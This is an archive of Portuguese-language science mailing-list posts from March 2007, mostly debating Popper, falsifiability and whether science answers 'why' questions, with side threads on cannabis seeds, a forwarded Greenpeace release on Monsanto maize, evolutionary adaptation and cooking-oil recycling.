Se escapar um pouco dessa subjetividade intensa, que gera becos sem saída, pode usar a eficácia, a capacidade de fazer previsões corretas e em especial, o uso de teorias como explicações temporárias de fenomenos físicos e materiais, para escolher entre as posições que apresentou. Como disse o Alberto, usamos o que é mais eficaz, e deixamos de lado quando suas falhas se tornam mais graves. Sempre em relação ao caso específico a ser analisado.

Eu, como posição pessoal, sempre tendo a Popper, e a falseabilidade. Não funciona sempre, não é uma resposta "100%" ou absoluta, mas tendo em vista que nenhuma é, me parece mais segura e confiável para a maior parte das necessidades (certamente, de minhas necessidades). Por exemplo, como não tenho a necessidade de responder perguntas como "de onde vim, para onde vou, o que estou fazendo aqui", a ciência me satisfaz como mecanismo de análise do mundo.

Nós criamos coisas como ciência, filosofia, etc, como ferramentas, e como ferramentas reais, servem a propósitos determinados, com alcance definido. Tentar usar uma ferramenta para uso diferente para o qual ela foi construida ou é mais eficaz, é pouco útil.

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Sobre o Método Cientifico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/03/2007 16:14

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> "Tenho a impressão de que muitas teorias do ramo das
> ciências psiquícas e sociais não são falseáveis. Por
> exemplo, como eu posso saber se existe um id/superego
> de verdade ?

Muitas são infalseáveis. Mas outras são falseáveis e, impressão minha,
há uma tendência de se melhorar esse aspecto.

> Mais ainda, será que eu posso aplicar a navalha de ocam para dois
> modelos construídos sobre paradigmas diferentes(ex: POpper e
> Lakatos) de um mesmo fenômeno no intuito de decidir
> qual modelo é o melhor???"

Não importa o paradigma, a primeira coisa é se a explicação dá conta
do fenômeno. E a segunda coisa é se a explicação faz previsões
verificáveis. Se não faz previsões verificáveis, não tem muita
utilidade - nenhuma como modelo científico.

Digamos q o id/supergo e o gnomo na cabeça façam predições
verificáveis sobre o comportamento humano. O id/superego é tão somente
uma subestrutura funcional da mente, já o gnomo exige uma entidade
distinta da mente - o gnomo é muito mais complicado (tem olhos,
braços, pernas, precisamos elaborar o modo como ele entrou em nossa
mente e como a influencia, etc).

[]s,

Roberto Takata



SUBJECT: Res: [ciencialist] Re: Sobre o Método Cientifico
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/03/2007 16:37

Não há nenhum efeito da cor do céu sobre a vida na Terra? [ ]`s


----- Mensagem original ----
De: rmtakata <roberto.takata@bol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quinta-feira, 15 de Março de 2007 14:55:00
Assunto: [ciencialist] Re: Sobre o Método Cientifico

--- Em ciencialist@ yahoogrupos. com.br, Chicao Valadares
> talvez os métodos aplicados pela "ciência"(entre aspas
> pq o meu conceito de ciencia está em crise) sejam bom
> para responder " O COMO" mas não "O PORQUÊ".

O q as ciências tendem a responder mal é a pergunta "para quê".

P - "Por que o céu é azul?"
R - Por conta da difusão dos raios pelas partículas e gases da atmosfera.

P - "Para que o céu é azul?"
R - Para nada.

[]s,

Roberto Takata




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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/03/2007 16:42

Olá Prof. Emiliano

Emiliano: "Não há nenhum efeito da cor do céu sobre a vida na Terra? [ ]`s"

Pode até existir, mas será acess´rio, não intencional. Não será um "para", uma função prevista ou determinada. É como a luz do Sol, ela não é "para" iluminar o dia e permitir que as pessoas trabalhem ou passeiem. Ela apenas ilumina, como efeito colateral dos processos nucleares do Sol. Não existe "para" alguma coisa.

Um abraço.

Homero






----- Original Message -----
From: Prof. Emiliano Chemello
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, March 15, 2007 4:37 PM
Subject: Res: [ciencialist] Re: Sobre o Método Cientifico


Não há nenhum efeito da cor do céu sobre a vida na Terra? [ ]`s

----- Mensagem original ----
De: rmtakata <roberto.takata@bol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quinta-feira, 15 de Março de 2007 14:55:00
Assunto: [ciencialist] Re: Sobre o Método Cientifico

--- Em ciencialist@ yahoogrupos. com.br, Chicao Valadares
> talvez os métodos aplicados pela "ciência"(entre aspas
> pq o meu conceito de ciencia está em crise) sejam bom
> para responder " O COMO" mas não "O PORQUÊ".

O q as ciências tendem a responder mal é a pergunta "para quê".

P - "Por que o céu é azul?"
R - Por conta da difusão dos raios pelas partículas e gases da atmosfera.

P - "Para que o céu é azul?"
R - Para nada.

[]s,

Roberto Takata

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Res: Res: Res: [ciencialist] Re: Chocolate poderia se tornar ilegal
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/03/2007 18:14

[E]> a proposta seria pra comer SÓ a semente... (não é psicoativa).
(e, pra comer, comprar SÓ a semente)




----- Mensagem original ----
De: rmtakata <roberto.takata@bol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quarta-feira, 14 de Março de 2007 0:09:20
Assunto: Res: Res: [ciencialist] Re: Chocolate poderia se tornar ilegal













--- Em ciencialist@ yahoogrupos. com.br, "Eurico Ferreira de Souza Jr."

> [E]> no caso, o alimento é a semente.



Vai valer a mm observação anterior: fumada, não tem valor nutricional;

ingerida, tem um grande potencial de ação psicotrópica com as

conseqüências danosas.



E a maconha vendida em geral é a sinsemilla - sem sementes.



[]s,



Roberto Takata














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SUBJECT: Res: Res: Res: [ciencialist] Re: Chocolate poderia se tornar ilegal
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/03/2007 18:17

--- Em ciencialist@yahoogrupos.com.br, "Eurico Ferreira de Souza Jr."
> [E]> a proposta seria pra comer SÓ a semente... (não é psicoativa).
> (e, pra comer, comprar SÓ a semente)

Em tese, se não é psicoativa não haveria problema.

Mas, pra produzir sementes, produz-se a planta junto...

Poderiam, por exemplo, legalizar a importação de sementes estéreis.
Mas haveria uma dificuldade de fiscalização.

[]s,

Roberto Takata



SUBJECT: Re: Sobre o Método Cientifico
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/03/2007 20:34

----- Original Message -----
From: "Chicao Valadares"
Sent: Thursday, March 15, 2007 2:50 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

> talvez os métodos aplicados pela "ciência"(entre aspas pq o meu
conceito de ciencia está em crise) sejam bom para responder " O COMO"
mas não "O PORQUÊ".

Vou expor aqui o item 4.1 do meu artigo "O método científico" e
intitulado "Sobre a essencialidade do método". O artigo inteiro pode
ser lido a partir de
http://ecientificocultural.com/ECC2/FilCien/metcien01.htm

******* início da citação *******

Sobre a essencialidade do método

Se a existência do método decorre da observação do comportamento dos
cientistas, isso parece implicar na sua natureza empírica. Mas, como
diz PORTA (1999) [ ftp://ftp.usjt.br/pub/revint/245_19.ZIP ]: A
experiência é incapaz de fundar o conhecimento universal e
necessário. Ela pode eventualmente dizer como são as coisas, mas não
dizer porque, necessariamente, elas são assim e não de outro modo.
[...] Conseqüentemente, se há um conhecimento que tenha estas
qualidades de necessário e universal então ele não pode ser empírico
e, em conseqüência, é, por oposição, "a priori". Se pensarmos, então,
na teoria do método científico como conhecimento universal e
necessário, recaímos nesse problema kantiano e quero crer que a
solução para o caso seja a mesma apresentada por KANT (1788) [Crítica
da Razão Pura] com respeito à mecânica newtoniana. Para maiores
esclarecimentos deixo a critério do leitor a consulta ao artigo de
Porta (acima indicado), bastante didático por sinal. Comentarei aqui,
e na superficialidade, apenas um dos aspectos importantes e
relacionado ao problema kantiano.

Se a metodologia científica é conhecimento universal e necessário, no
sentido apontado no parágrafo anterior, isto significa que o
cientista, consciente ou inconscientemente, quer queira, quer não
queira, ao produzir conhecimentos científicos utiliza-se do método
científico, cabendo ao estudioso em teoria do conhecimento
decodificar ou decifrar esse método. A ciência, enquanto tal, evolui
independentemente da existência do método, da mesma maneira que os
planetas circulam ao redor do Sol, indiferentes à existência ou não
das leis da mecânica ou da gravitação. Obviamente o método poderá
interessar ao pedagogo ou a todos aqueles que se preocuparem com a
formação de pesquisadores, bem como aos cientistas que pretenderem
aprimorar sua maneira de fazer ciência. Bem ou mal estes cientistas
já utilizam o método de uma maneira muito semelhante àquela
apresentada pelo músico que toca um instrumento por ouvido. Nota-se,
no entanto, que a maioria daqueles que produziram ciência de alta
qualidade, preocuparam-se, em alguma etapa de suas vidas, em aprender
metodologia científica e/ou em tecer considerações sobre o método que
empregavam.

******* final da citação *******

Com respeito ao fato aqui comentado de "as ciências responderem mal á
pergunta 'para quê'", eu diria que ou muito me engano ou não me
parece ser objetivo da ciência responder a essa pergunta. É possível
que seja objetivo da filosofia (conheço pouco esses objetivos) ou,
até mesmo, da teologia ou do ateísmo (não conheço quase nada dos
objetivos de ambos), mas com respeito à ciência, salvo maior juízo,
não vejo muito sentido nesse questionamento. Ainda salvo maior juízo,
creio que seria conveniente não envedarmos por este caminho, sob pena
de ficarmos recebendo centenas de mensagens desinteressantes, como
sóe acontecer de tempos em tempos aqui na Ciencialist por parte de
alguns amantes da ciência que gostam de discutir abobrinhas sob o
pretexto de defenderem a ciência de "ameaças" das possíveis pseudo-
ciências. Quando muito, que se questione "para que existe a ciência",
ou "para que serve a ciência", pois embora estes não sejam
questionamentos exatamente científicos --e sim pertencentes à seara
da filosofia da ciência-- talvez sirvam para nos orientar quanto ao
que não seria de bom alvitre ser discutido aqui. Lembro que a ciência
é obra do ser humano, logo justifica-se questionar sobre a existência
de uma teleologia (não confundir com teologia) e, portanto,
desses "para que".

Em tempo: teleologia = qualquer doutrina que identifica a presença de
metas, fins ou objetivos últimos guiando a natureza e a humanidade,
considerando a finalidade como o princípio explicativo fundamental na
organização e nas transformações de todos os seres da realidade
[dicionário eletrônico Houaiss].

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




SUBJECT: Prof. Desidério Murcho recomenda:
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <noosfera_II@yahoogrupos.com.br>, <Genismo@yahoogroups.com>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 15/03/2007 21:57

A racionalidade da ciência

A. F. Chalmers

O racionalista radical afirma que há um critério único, atemporal e universal com referência ao qual se podem avaliar os méritos relativos de teorias rivais. Por exemplo, um indutivista pode aceitar como o seu critério universal o grau de corroboração indutiva que uma teoria recebe dos factos aceites, ao passo que um falsificacionista pode basear o seu critério no grau de falsificabilidade de teorias não falsificadas. Sejam quais forem os detalhes da formulação do critério por um racionalista, uma característica importante é a sua universalidade e seu caráter não histórico. O critério universal será invocado quando se julgar os méritos relativos da física de Aristóteles e de Demócrito, a astronomia ptolemaica e a copernicana, a psicologia freudiana e a behaviorista ou o Big Bang e as teorias estacionárias do universo. O racionalista radical pensa que as decisões e as escolhas dos cientistas são guiadas pelo critério universal. O cientista racional rejeitará as teorias que deixem de lhe corresponder, e, ao escolher entre duas teorias rivais, escolherá aquela que melhor lhe corresponda. O racionalista típico acreditará que as teorias que se conformam às exigências do critério universal são verdadeiras, ou aproximadamente verdadeiras, ou provavelmente verdadeiras. [.]

O racionalista acha a distinção entre a ciência e a não ciência fácil de compreender. São científicas apenas as teorias capazes de ser claramente avaliadas em termos do critério universal e que sobrevivem ao teste. É assim que um racionalista indutivista poderá decidir que a astrologia não é uma ciência por não ser derivada indutivamente dos factos da observação, enquanto um falsificacionista poderá decidir que o marxismo não é científico por não ser falsificável. O racionalista típico aceitará como evidente que se deve dar um alto valor ao conhecimento desenvolvido segundo o critério universal. Ainda mais se compreender o processo como meio de se chegar à verdade. A verdade, a racionalidade e a ciência, portanto, são vistas como intrinsecamente boas.

Relativismo

O relativista nega que haja um padrão de racionalidade universal não histórico, em relação ao qual se possa julgar que uma teoria é melhor que outra. Aquilo que é considerado melhor ou pior em relação às teorias científicas variará de indivíduo para indivíduo e de comunidade para comunidade. O objectivo da busca do conhecimento dependerá do que é importante ou daquilo que é valorizado pelo indivíduo ou comunidade em questão. Por exemplo, o controle material sobre a natureza receberá um alto estatuto entre as sociedades capitalistas do ocidente, tipicamente, mas receberá um baixo estatuto numa cultura em que o conhecimento é projectado para produzir sentimentos de contentamento ou de paz.

O afirmação do velho filósofo grego Protágoras "o homem é a medida de todas as coisas" expressa um relativismo quanto aos indivíduos, ao passo que o comentário de Kuhn, de que "não há padrão mais alto que o assentimento da comunidade relevante", expressa um relativismo em relação às comunidades. As caracterizações de progresso e as especificações de critérios para julgar os méritos das teorias serão sempre relativas ao indivíduo ou às comunidades que aderem a elas.

As decisões e as escolhas feitas por cientistas ou grupos de cientistas serão governadas por aquilo a que aqueles indivíduos ou grupos atribuem valor. Numa dada situação não há um critério universal que dite urna decisão logicamente convincente para o cientista "racional". Urna compreensão das escolhas feitas por um cientista específico requererá urna compreensão daquilo que o cientista valoriza e envolverá uma investigação psicológica, enquanto as escolhas feitas por uma comunidade dependerão daquilo que ela valoriza e uma compreensão destas escolhas envolverá uma investigação sociológica. O relato de Boris Hessen da adopção da física newtoniana no século XVII como urna resposta às necessidades tecnológicas da época pode ser lido como um relato relativista com relação às comunidades, enquanto a afirmação de Feyerabend, de que é a "ligação interna de todas as partes do sistema (copernicano) juntamente com a sua crença na natureza básica do movimento circular que faz Copémico dizer que o movimento da Terra é real", é um comentário coerente com um relativismo em relação aos indivíduos.

Visto que para o relativista os critérios para julgar os méritos das teorias dependerão dos valores ou dos interesses do indivíduo ou da comunidade que os nutre, a distinção entre a ciência e a não ciência variará de acordo com eles. Dessa forma, uma teoria das marés baseada na atracção da Lua constituía boa ciência para os newtonianos mas roçava o misticismo ocultista para Galileu, enquanto na sociedade contemporânea a teoria de Marx da mudança histórica é boa ciência para alguns e propaganda para outros. Para o relativista radical a relação entre ciência e não ciência torna-se muito mais arbitrária e menos importante do que o é para o racionalista. Um relativista negará a existência de uma categoria única, a "ciência", que é intrinsecamente superior a outras formas de conhecimento, embora muito possivelmente aconteça que indivíduos ou comunidades dêem alto valor àquilo a que geralmente se conhece como ciência. Se a "ciência" (o relativista pode muito bem estar inclinado a usar aspas) é altamente respeitada na nossa sociedade, isto deve então ser compreendido analisando-se a nossa sociedade, e não simplesmente analisando a natureza da ciência.

A. F. Chalmers
Adaptação de Vítor João Oliveira
Excerto de O Que é a Ciência, Afinal? (São Paulo: Brasiliense, 2000, pp. 137-40)

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Sobre o Método Cientifico
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/03/2007 22:54

----- Original Message -----
From: "Chicao Valadares"
Sent: Thursday, March 15, 2007 3:30 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

> "Tenho a impressão de que muitas teorias do ramo das ciências
psiquícas e sociais não são falseáveis. Por exemplo, como eu posso
saber se existe um id/superego de verdade ?

Embora não conheça com a profundidade necessária as ciências
psíquicas e sociais, tentarei responder a seu questionamento segundo
dois aspectos.

Em primeiro lugar, a falseabilidade deve se referir à teoria como um
todo, e não sobre seus pressupostos. Suponha que um teorizador X
assumiu a existência de um "id/superego" e, através dessa suposição,
desenvolveu uma teoria que consegue fazer determinadas previsões. Se
essas previsões forem falseáveis (factíveis de observação
experimental), a teoria será falseável, ainda que a suposição inicial
(existência de um "id/superego" não o seja diretamente). Como dei a
entender não entendo nada de "id/superego", mas lembro que em física
as coisas se passam dessa maneira. Por exemplo, a suposição de que a
luz é ondulatória (ou corpuscular) não é diretamente falseável. Não
obstante, as teorias ondulatórias (e corpusculares) devem fazer
previsões e, neste caso, serão teorias falseáveis.

Em segundo lugar, o critério popperiano (falsificacionismo como fator
delimitador da ciência) é um critério bastante questionável, ainda
que o falsificacionismo em si possa ser considerado como uma das
grandes aquisições em filosofia da ciência. Em 1996 eu escrevi o
seguinte a esse respeito [o artigo todo, "Teoria sobre o Método
Científico", pode ser lido em
http://ecientificocultural.com/ECC2/artigos/metcien1.htm ]

******* início da citação *******

9. O falsificacionismo como delimitador da ciência

Vimos, no item 7, que, para Popper, uma teoria sem risco algum não é
científica, e eu acrescentei: sequer é teoria. Popper quis se
aproveitar deste argumento para delimitar a ciência, utilizando-se
então do falsificacionismo como critério de cientificidade. Com esta
opção, Popper desagradou a muitos e convenceu a poucos, ainda que sua
idéia não fosse de todo má.

Não podemos, em sã consciência, dizer que a psicanálise, por exemplo,
não pertença ao campo da ciência pelo simples fato de uma de
suas "teorias" precursoras ser não falseável. Sequer podemos dizer
que o autor dessa idéia não fosse cientista: se é verdade que a
psicanálise se desenvolveu em cima desta idéia, e apesar disso,
conseguiu, de alguma forma, se impor como ciência, muito
provavelmente, queiramos ou não, seu autor contribuiu diretamente
para o progresso da ciência. Mesmo que hoje alguém chegasse a
concluir, categoricamente, pelo caráter não científico da
psicanálise, isto, de forma alguma, nos autorizaria a,
hipoteticamente, condená-la à estagnação.

Se um cientista, utilizando-se de maus critérios, ou até mesmo
apoiando-se em dogmas, constrói, de maneira não científica, um
determinado campo do conhecimento, isto não significa que este campo
não possa vir a ser estudado cientificamente; e que não se possam
criteriosamente, aproveitar as conclusões de seus estudos. Nada
impede que uma teoria, considerada hoje como não científica, pelo
fato de possuir uma ou mais hipóteses não falseáveis, adquira esse
status após passar por ligeiras reformulações.

Não podemos assumir que um campo do conhecimento seja não científico
pelo simples fato de não encontrarmos nele teorias científicas. Este
posicionamento de Popper, a meu ver, não se justifica: o
falsificacionismo não é um bom critério delimitador da ciência, e
isto eu espero que tenha ficado claro para o leitor. E mais: não
existem áreas não científicas, mas sim áreas onde ainda não foram
produzidos conhecimentos científicos. O progresso científico tem sua
origem na intuição e, pelo menos nesta etapa, nada é absolutamente
corroborável ou falseável. Podemos ainda dizer que a ciência não se
localiza aqui ou acolá: sob esse aspecto, a ciência não tem
fronteiras.

******* final da citação *******

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: * Milho Transgênico
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 15/03/2007 23:37

`Passageiro do Tempo` wrote To: Política
Cc: Pol Cidadania Brasil


13-03-2007 - Berlim

Estudo revela sinais de intoxicação causada por milho transgênico da Monsanto
Evidência científica mostra que a variedade geneticamente modificada MON863 oferece risco a humanos e animais. Mesmo assim, foi aprovada para comercialização e consumo na União Européia.

Ratos de laboratório, alimentados com milho transgênico produzido pela Monsanto, mostraram sinais de intoxicação nos rins e no fígado, de acordo com um novo estudo lançado esta semana pela publicação norte-americana Archives of Environmental Contamination and Toxicology (Arquivos de Contaminação Ambiental e Toxicologia). É a primeira vez que um produto geneticamente modificado, liberado para o consumo humano e de animais, apresenta sinais de ter provocado efeitos tóxicos em órgãos internos de seres vivos.

O estudo analisou os resultados de testes de segurança enviados pela Monsanto para a Comissão Européia quando a empresa buscava autorização para comercializar a variedade MON863 de milho transgênico na União Européia, em 2005. Os dados dos testes mostram que o milho MON863 traz significativos riscos à saúde. Mesmo assim, a Comissão Européia licenciou a comercialização do produto para consumo humano e de animais.

"Esse é o golpe final na credibilidade do sistema de autorização para produtos transgênicos. Se o sistema desenhado para proteger a saúde das pessoas e dos animais autoriza um produto de alto risco, mesmo com todas as evidências sobre seus perigos, precisamos suspender imediatamente esse procedimento de aprovação e rever todos os demais produtos autorizados", afirmou Christoph Then, representante da campanha de engenharia genética do Greenpeace Internacional.

A evidência sobre os efeitos nas cobaias foi obtida pelo Greenpeace após uma batalha judicial e foi passada a uma equipe de especialistas para ser analisada. A equipe foi liderada pelo professor Gilles Eric Séralini, especialista em tecnologia de engenharia genética da Universidade de Caen, na França.

"As análises da Monsanto não resistem a escrutínios rigorosos. Para começar, os protocolos estatísticos deles são altamente questionáveis. Pior, a empresa fracassou em fazer análises suficientes das diferenças no peso animal. Dados cruciais dos testes de urina, indicando intoxicação do rim, ficaram escondidos em publicações internas da empresa", disse o professor Séralini numa coletiva de imprensa conjunta com o Greenpeace, realizada hoje em Berlim.

Os dados em questão vêm sendo objeto de grande debate desde 2003, quando foram identificadas mudanças significativas no sangue de animais alimentados com o milho MON863. Esse milho foi aprovado pela Comissão Européia apesar da oposição da maioria dos países-membros da União Européia, que levantaram preocupações sobre a segurança do produto.

A análise do professor Séralini confirma cientificamente essas preocupações. "Com os dados existentes, não se pode concluir que o milho MON863 é um produto seguro", diz ele. Apesar disso, o milho geneticamente modificado da Monsanto foi autorizado para venda e consumo na Austrália, Canadá, China, Japão, México, Filipinas e Estados Unidos, além da União Européia.

"O mais preocupante é que, assim como esta, outras evidências importantes sobre os impactos das variedades transgênicas também podem estar sendo negligenciadas pelas empresas e pelos órgãos responsáveis por avaliar a segurança dessas variedades", disse Gabriela Vuolo, coordenadora da campanha de engenharia genética do Greenpeace Brasil.

No momento em que a CTNBio (Comissão Técnica Nacional de Biossegurança) está justamente discutindo a liberação de outras variedades de milho transgênico, o estudo da publicação norte-americana coloca em dúvida todo o sistema de aprovação comercial de novos transgênicos. Isso porque, atualmente, a CTNBio não exige uma lista mínima de documentos que as empresas de biotecnologia sejam obrigadas a apresentar para pedir a liberação de novos transgênicos; também não há a necessidade de confrontar os estudos feitos pelas empresas com análises externas e independentes.

"Com isso, as empresas podem apresentar apenas o que lhes for conveniente, sem ter que prestar contas sobre os impactos dos seus produtos para a população e o meio ambiente", alertou Gabriela.
.




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e o enganodeJoseRenato
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/03/2007 00:23

Takata, muito interessante suas colocações, faço comentários após JR -, OK?
.................................................................
From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 13, 2007 1:16 AM
Subject: [Spam] [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e o
enganodeJoseRenato


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> O próprio organismo do ser vivo promove as condições mais econômicas
> e adequadas para sobreviver a uma mudança no ambiente.

Isso é adaptação *fisiológica*, não é herdável. A capacidade de se
adaptar fisiologicamente pode ser herdável, mas não uma adaptação
específica. Por exemplo, Fulano pode se adaptar fisiologicamente de
modo q consiga obter oxigênio a taxas adequadas de um ar rarefeito
como o encontrado no alto de montanhas - seu teor de hemoglobina
aumenta. Mas esse maior teor de hemoglobina não é herdado - seus
filhos q nasçam no litoral, terão q quantidade de hemoglobina igual
aos q sempre moraram no litoral. A capacidade de aumentar o teor de
hemoglobina se mudarem para a altitude é herdável - essa capacidade de
alteração é uma adaptação evolutiva, mas o teor alto de hemoglobina na
altitude é uma adaptação fisiológica.
JR - É a isso que me refiro quando digo que a capacidade ou as diversas
capacidades de adaptação já estão nos genes do ser. Não há mutação, apenas a
utilização de recursos que já constam em seus genes. Temos muitos genes que
parecem estar "sobrando". Só poderíamos saber se está de fato é dispensável
se pudermos testar passando por *todas* as possibilidades de ambiente já
existentes na Terra, durante longos prazos, e eles não se "ativarem" em
nenhuma delas.

Agora, povos q habitam a altitude há gerações, não tem um teor de
hemoglobina aumentado, são suas hemoglobinas q são diferentes. Se eles
vão para o litoral, continuam a produzir hemoglobinas diferentes. E
seus filhos q nasçam no litoral tb produzirão hemoglobinas diferentes.
Não há adaptação fisiológica, o tipo de hemoglobina produzida e sua
quantidade não se alteram. Mas o tipo de hemoglobina é uma adaptação
evolutiva.
JR - Mas creio que a "reversão" é possível, com exposição por períodos
significativos, que provocará mutações genéticas de adaptação ou readaptação
às novas condições ambientais.

A mudança de teor da hemoglobina no primeiro caso, não envolve uma
mutação. O teor mais alto nos altiplanos não é herdável. Não é uma
adaptação evolutiva.

O tipo diferente de hemoglobina no segundo caso envolve uma mutação
antiga. É herdável. Trata-se de uma adaptação evolutiva.
JR - Takata, vc sabe se já se tem conhecimento do que faz uma adaptção
fisiológica por longo prazo provocar uma mutação herdável? Ou dispomos
apenas da teoria da seleção natural para explicá-la!

Toda adaptação evolutiva envolve uma ou mais mutações.

[]s,
Roberto Takata

[]s
José Renato



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SUBJECT: Re: P/ Jose Renato - Tartarugas, mamutes, e o enganodeJoseRenato
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 00:40

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR - Takata, vc sabe se já se tem conhecimento do que faz uma
> adaptção fisiológica por longo prazo provocar uma mutação herdável?

Tto qto se sabe isso não ocorre. Há um efeito chamado de assimilação,
em q isso *parece* ocorrer, mas o q está por trás é q uma nova mutação
surge q produz o efeito permanente da mudança.

[]s,

Roberto Takata



SUBJECT: Disque Oleo Vegetal (RJ)
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 16/03/2007 11:30

Interessante e útil

--------------------------------------------------------

-Subject: Disque Oleo Vegetal (RJ)

A maioria de nós sabe que não se deve jogar óleo de cozinha na pia, porém
as pessoas alegam que não sabem o que fazer com o óleo usado.
Então, o óleo acaba mesmo no ralo da pia, no esgoto e finalmente nos rios,
sufocando os peixes, acabando com um delicado equilíbrio que mantém vivos
os rios...
Existe no Rio de Janeiro, uma cooperativa "disque óleo vegetal" tels. 21
2260.3326 / 7827.9446 / 7827.9449.

O QUE FAZER ?

Junte em garrafas pet, de dois litros, no mínimo, o óleo que seria jogado
fora e, quando estiver com pelo menos uma garrafa cheia, ligue para DISQUE
ÓLEO VEGETAL: tels. 21 2260.3326 / 7827.9446 / 7827.9449 Eles colhem o óleo
e gordura de todo tipo em residências e restaurantes.
NÃO CUSTA NADA! Eles até pagam se a quantidade for superior a 300 Lts. É
uma boa idéia para os Condomínios implantarem a coleta de óleo e
reverterem os trocadinhos para as pequenas despesas. Serve também para
igrejas, cujos membros podem doar o óleo usado e o dinheirinho reverter
para as despesas básicas.

PARA ONDE VAI O ÓLEO ?
O óleo usado que jogaríamos em nossas caixas de gordura, vai para a
Fábrica de Sabão Neutral que, por um processo de decantação, separa os
resíduos do óleo e reaproveita para fazer sabão. Outras fábricas no
Brasil, já fazem o mesmo e têm parcerias com restaurantes, escolas,
hospitais, etc. O óleo serve para fazer sabão, shampoo e outros cremes de
cabelo. Peço então, aos amigos que colaborem, repassando essa notícia e
principalmente ligando para lá, ao invés de jogarem o óleo no solo (que
contaminará, certamente, lençóis freáticos) ou na pia (que entupirá o
esgoto e, fatalmente, matará os rios definitivamente).
Atitudes ecológicas não precisam ser difíceis e caras.
Não poluir os rios e mares deveria ser uma prática habitual em nossas
vidas, assim como levar nosso lixo da praia para casa, ou para uma lixeira
próxima... Senão, um dia teremos sede e só teremos um copo de óleo para
beber...
--


SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/03/2007 12:14

Homero:

o ceu não tem cor.
querendo o vampiro Bento 16 vem aí: ele pode pedir a deus para mandar a alma do Miguel Ângêlo "dar uma cor....."

silvio.
----- Original Message -----
From: Oraculo
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, March 15, 2007 4:42 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico


Olá Prof. Emiliano

Emiliano: "Não há nenhum efeito da cor do céu sobre a vida na Terra? [ ]`s"

Pode até existir, mas será acess´rio, não intencional. Não será um "para", uma função prevista ou determinada. É como a luz do Sol, ela não é "para" iluminar o dia e permitir que as pessoas trabalhem ou passeiem. Ela apenas ilumina, como efeito colateral dos processos nucleares do Sol. Não existe "para" alguma coisa.

Um abraço.

Homero

----- Original Message -----
From: Prof. Emiliano Chemello
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, March 15, 2007 4:37 PM
Subject: Res: [ciencialist] Re: Sobre o Método Cientifico

Não há nenhum efeito da cor do céu sobre a vida na Terra? [ ]`s

----- Mensagem original ----
De: rmtakata <roberto.takata@bol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quinta-feira, 15 de Março de 2007 14:55:00
Assunto: [ciencialist] Re: Sobre o Método Cientifico

--- Em ciencialist@ yahoogrupos. com.br, Chicao Valadares
> talvez os métodos aplicados pela "ciência"(entre aspas
> pq o meu conceito de ciencia está em crise) sejam bom
> para responder " O COMO" mas não "O PORQUÊ".

O q as ciências tendem a responder mal é a pergunta "para quê".

P - "Por que o céu é azul?"
R - Por conta da difusão dos raios pelas partículas e gases da atmosfera.

P - "Para que o céu é azul?"
R - Para nada.

[]s,

Roberto Takata

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[As partes desta mensagem que não continham texto foram removidas]

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 15:24


> O q as ciências tendem a responder mal é a pergunta
> "para quê".

Será ???


> P - "Por que o céu é azul?"
> R - Por conta da difusão dos raios pelas partículas
> e gases da atmosfera.

